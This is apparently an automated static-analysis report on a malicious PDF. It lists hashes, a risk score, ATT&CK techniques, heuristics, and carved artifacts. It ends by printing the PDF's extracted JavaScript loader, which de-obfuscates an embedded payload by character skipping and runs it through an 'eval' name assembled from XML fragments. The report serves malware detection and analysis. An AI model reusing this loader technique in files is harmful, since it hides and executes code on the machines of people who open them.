Malicious PDF — malware analysis report

Static analysis result for SHA-256 e265a313ee2bf935…

MALICIOUS

PDF

5.9 KB First seen: 2026-05-09
MD5: cf3b807cd778c85deddbd125ca9c212d SHA-1: 680f54a7c538a0a8ec167b4b54821be8ff7db0d5 SHA-256: e265a313ee2bf935c72e3c65ff3c7db36ef62896c4065f0922d3b6be19213483
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF contains embedded JavaScript that attempts to decode and execute a payload. The JavaScript uses a loop to extract characters from an embedded data object, likely to obfuscate the payload. The ML classifier strongly indicates maliciousness, and the malformed stream length heuristic suggests an exploit attempt.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0012.bin pdf-embedded-file PDF EmbeddedFile object 12 at offset 0x428 149220 bytes
SHA-256: ec88ccee10d525f199cdb351fa160fa959a16d6da4fefa7d348982766b898a8f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
323 of 323 identifiers look randomly generated (e.g. 'sRQAQbk40cKSog1Me1sRQAQbk40cKSog1Me2sRQA') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1CC 254 bytes
SHA-256: 1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6
Preview script
First 1,000 lines of the extracted script
ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){   rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd);        rf=re.one.value+re.two.value;this[rf](rc);